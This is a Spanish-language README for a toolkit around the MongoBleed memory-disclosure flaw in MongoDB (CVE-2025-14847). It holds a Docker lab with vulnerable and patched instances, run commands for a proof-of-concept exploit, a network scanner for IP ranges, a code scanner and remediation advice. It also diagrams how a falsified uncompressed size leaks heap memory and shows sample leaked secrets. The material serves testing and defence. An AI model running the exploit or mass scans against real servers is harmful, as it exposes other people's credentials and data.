
Laboratorio de explotación, docker y escáner de código para la vulnerabilidad mongobleed CVE-2025-14847 además de herramientas Phoenix Security Sync
CVE-2025-14847 | CVSS 8.7 (Alta) | Divulgación de Memoria sin Autenticación
📖 Documentación Completa • 🔬 Análisis Técnico • ⚡ Comandos Rápidos
MongoBleed es una vulnerabilidad crítica de divulgación de memoria en la capa de transporte de red de MongoDB que permite a atacantes remotos no autenticados extraer memoria del heap sensible sin necesidad de credenciales ni interacción del usuario.
| Categoría | Descripción |
|---|
| Tipo de Ataque | Divulgación de memoria remota, sin autenticación |
| Causa Raíz | Descompresión Zlib devuelve el tamaño del búfer asignado en lugar de la longitud real de los datos |
| Datos Expuestos | Contraseñas de bases de datos, claves API, tokens de sesión, credenciales AWS, estado interno del servidor |
| Gravedad | CVSS 8.7 (Alta) - Accesible por red, sin necesidad de autenticación |
| Explotación | Explotación activa observada en la naturaleza desde el 28 de diciembre de 2025 |
| Rama | Vulnerable | Corregida | Acción |
|---|---|---|---|
| 8.2.x | 8.2.0 → 8.2.2 | 8.2.3 | Actualizar inmediatamente |
| 8.0.x | 8.0.0 → 8.0.16 | 8.0.17 | Actualizar inmediatamente |
| 7.0.x | 7.0.0 → 7.0.27 | 7.0.28 | Actualizar inmediatamente |
| 6.0.x | 6.0.0 → 6.0.26 | 6.0.27 | Actualizar inmediatamente |
| 5.0.x | 5.0.0 → 5.0.31 | 5.0.32 | Actualizar inmediatamente |
| 4.4.x | 4.4.0 → 4.4.29 | 4.4.30 | Actualizar inmediatamente |
| ≤4.2.x | Todas las versiones | Ninguna | ⚠️ Fin de vida útil: migrar a una versión compatible |
| Aspecto | Detalles |
|---|---|
| Qué es vulnerable | Capa de transporte de red del servidor MongoDB que usa compresión zlib |
| Gravedad | Alta (CVSS 8.7/7.5) |
| Impacto | Divulgación remota y no autenticada de memoria heap no inicializada |
| Por qué importa | Los fragmentos filtrados contienen contraseñas de bases de datos, claves secretas de AWS y estados internos del servidor |
| Estado del exploit | Prueba de concepto (PoC) pública "mongobleed" validada y en circulación |
| Qué hacer hoy | Actualizar a versiones parcheadas inmediatamente o deshabilitar la compresión zlib |
La vulnerabilidad existe en la capa de transporte de red de MongoDB (message_compressor_zlib.cpp) donde un fallo crítico en la lógica de descompresión zlib permite a atacantes no autenticados filtrar memoria sensible del servidor.
// CÓDIGO VULNERABLE (antes de la corrección)
counterHitDecompress(input.length(), output.length());
return {output.length()}; // ❌ Devuelve el tamaño del búfer ASIGNADO
// CÓDIGO PARCHEADO (después de la corrección)
counterHitDecompress(input.length(), output.length());
return length; // ✅ Devuelve la longitud REAL de los datos descomprimidos
┌─────────────────────────────────────────────────────────────────────────────┐
│ Vector de Ataque MongoBleed │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ATACANTE MONGODB VULNERABLE │
│ │ │ │
│ │ 1. Enviar mensaje OP_COMPRESSED │ │
│ │ uncompressedSize: 8192 (MENTIRA)│ │
│ │ datos reales: ~100 bytes │ │
│ │────────────────────────────────────>│ │
│ │ │ │
│ │ 2. Asignar búfer de 8192 bytes │
│ │ 3. Descomprimir ~100 bytes │
│ │ 4. ERROR: Devuelve buffer.length() = 8192 │
│ │ 5. El analizador BSON lee memoria no inicializada │
│ │ │ │
│ │ 6. Respuesta de error con memoria │ │
│ │ filtrada como "nombres de campo"│ │
│ │<────────────────────────────────────│ │
│ │ │ │
│ 🔓 DATOS FILTRADOS: │ │
│ - Claves API, contraseñas, tokens │
│ - Estado interno de MongoDB │
│ - Configuraciones de almacenamiento WiredTiger │
│ - Información del sistema /proc │
│ - Datos de conexiones de clientes │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
| Fecha | Evento |
|---|---|
| 15 de diciembre de 2025 | Vulnerabilidad identificada; ticket interno SERVER-115508 |
| 19 de diciembre de 2025 | Corrección publicada, CVE-2025-14847 divulgado |
| 24 de diciembre de 2025 | Flota de MongoDB Atlas parcheada |
| 26 de diciembre de 2025 | PoC pública "mongobleed" publicada |
| 28 de diciembre de 2025 | Explotación observada en la naturaleza |
🔬 Ver Análisis Técnico → para anatomía detallada de la vulnerabilidad, construcción del exploit y métodos de detección.
mongobleed-exploit-CVE-2025-14847/
├── exploit/ # 🔴 Laboratorio de Exploit
│ ├── docker-compose.yml # Instancias vulnerables y parcheadas de MongoDB
│ ├── mongobleed.py # PoC de exploit de fuga de memoria
│ ├── init/init-mongo.js # Datos de prueba sensibles
│ ├── test-exploit.sh # Script de prueba del laboratorio
│ └── README.md # Documentación del laboratorio
│
├── scanner/ # 🌐 Escáner de Red
│ ├── mongobleed_scanner.py # Escáner de vulnerabilidad para IP/dominio
│ ├── sample-targets.txt # Archivo de ejemplo de objetivos
│ └── README.md # Documentación del escáner
│
├── code-scan/ # 📂 Escáner de Código
│ ├── main.py # Punto de entrada CLI
│ ├── scanners/ # Escáneres Docker, Python, Infraestructura
│ ├── models/ # Modelos de Hallazgo, Vulnerabilidad
│ ├── integrations/ # Carga a Phoenix Security
│ └── README.md # Documentación del escáner de código
│
└── original-exploit/ # 📚 Referencia original del PoC
cd exploit
# Iniciar laboratorio (instancias vulnerable y parcheada)
docker-compose up -d
sleep 10
# Probar instancia vulnerable (debería filtrar memoria)
python3 mongobleed.py --host localhost --port 27017
# Probar instancia parcheada (NO debería filtrar memoria)
python3 mongobleed.py --host localhost --port 27018
# Prueba completa del laboratorio
./test-exploit.sh
cd scanner
# Escanear un solo host
python3 mongobleed_scanner.py 192.168.1.100
# Escanear rango de red
python3 mongobleed_scanner.py 192.168.1.0/24
# Escanear desde archivo
python3 mongobleed_scanner.py @sample-targets.txt --json --output results.json
cd code-scan
# Escanear proyecto en busca de versiones vulnerables de MongoDB
python3 main.py scan /path/to/project
# Escanear y subir a Phoenix
python3 main.py scan /path/to/project --upload-phoenix
# Ejecutar pruebas
python3 main.py test
# === LABORATORIO DE EXPLOIT ===
# Iniciar laboratorio
cd exploit && docker-compose up -d && sleep 10
# Ejecutar exploit (instancia vulnerable)
python3 exploit/mongobleed.py --host localhost --port 27017
# Ejecutar exploit (instancia parcheada - verificar que no hay fugas)
python3 exploit/mongobleed.py --host localhost --port 27018
# === ESCÁNER DE RED ===
# Escanear laboratorio local
python3 scanner/mongobleed_scanner.py localhost:27017 localhost:27018
# Escanear red
python3 scanner/mongobleed_scanner.py 192.168.1.0/24 --threads 20
# === ESCÁNER DE CÓDIGO ===
# Escanear directorio actual
python3 code-scan/main.py scan .
# Escanear con salida JSON
python3 code-scan/main.py scan /path/to/project --json --output results.json
# Escanear y subir a Phoenix
python3 code-scan/main.py scan /path/to/project --upload-phoenix
[*] mongobleed - CVE-2025-14847 Fuga de Memoria MongoDB
[*] Objetivo: localhost:27017
[*] Escaneando offsets 20-8192...
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: MONGOBLEED_PRIVATE_KEY_DATA_123...
[!] EL OBJETIVO ES VULNERABLE A CVE-2025-14847
[*] Total filtrado: 8748 bytes
[*] Fragmentos únicos: 42
[!] Posibles secretos detectados:
• Clave Privada RSA
• Secreto de Laboratorio
[*] Escaneando 254 objetivos con 10 hilos...
[1/254] 192.168.1.10:27017 - 8.2.2 [VULNERABLE - CONFIRMADO]
[2/254] 192.168.1.11:27017 - 8.2.3 [SEGURO]
RESUMEN:
----------------------------------------
Total de objetivos escaneados: 254
Hosts alcanzables: 12
Instancias MongoDB: 8
VULNERABLES: 3
================================================================================
INFORME DEL ESCÁNER DE CÓDIGO MONGOBLEED - CVE-2025-14847
================================================================================
🚨 VERSIONES VULNERABLES DE MONGODB DETECTADAS
1. [email protected]
Archivo: /project/docker-compose.yml
Tipo: docker-compose
Razón: La versión 8.2.2 está en el rango vulnerable [8.2.0 - 8.2.2]
✅ Actualizar a: 8.2.3
CVE: CVE-2025-14847
| Prioridad | Acción | Detalles |
|---|---|---|
| 🔴 1 | Actualizar MongoDB | Actualizar a versiones corregidas (8.2.3, 8.0.17, 7.0.28, 6.0.27, 5.0.32, 4.4.30) |
| 🟠 2 | Deshabilitar zlib | mongod --setParameter networkMessageCompressors=snappy,zstd |
| 🟡 3 | Aislamiento de red | Firewall puerto 27017, usar VPN/red privada |
| 🔵 4 | Rotar credenciales | Si están expuestas, rotar todas las contraseñas de bases de datos, claves API, tokens |
Todos los escáneres admiten la carga de hallazgos a la plataforma Phoenix Security:
# Crear configuración
python3 code-scan/main.py create-config
cp .phoenix.config.TEMPLATE .phoenix.config
# Editar con tus credenciales
# [phoenix]
# client_id = tu_client_id
# client_secret = tu_client_secret
# api_base_url = https://api.securityphoenix.cloud
# Escanear y subir
python3 code-scan/main.py scan /path/to/project --upload-phoenix
⚠️ IMPORTANTE: Este conjunto de herramientas se proporciona únicamente para fines autorizados de pruebas de seguridad e investigación.
| Documento | Descripción |
|---|---|
| 📖 DOCUMENTATION.md | Documentación completa del proyecto con configuración, uso y remedios |
| 🔬 TECHNICAL_ANALYSIS.md | Anatomía detallada de la vulnerabilidad, mecanismo del exploit y detección |
| ⚡ QUICK_COMMANDS.md | Comandos listos para copiar y pegar para todas las herramientas |
| Herramienta | Documentación | Descripción |
|---|---|---|
| 🔴 Laboratorio de Exploit | exploit/README.md | Laboratorio MongoDB vulnerable/parcheado basado en Docker |
| 🌐 Escáner de Red | scanner/README.md | Escáner de vulnerabilidad por IP/CIDR |
| 📂 Escáner de Código | code-scan/README.md | Escáner de código fuente para versiones vulnerables |
Solo para pruebas de seguridad autorizadas. Úselo de manera responsable.
Última actualización: Diciembre de 2025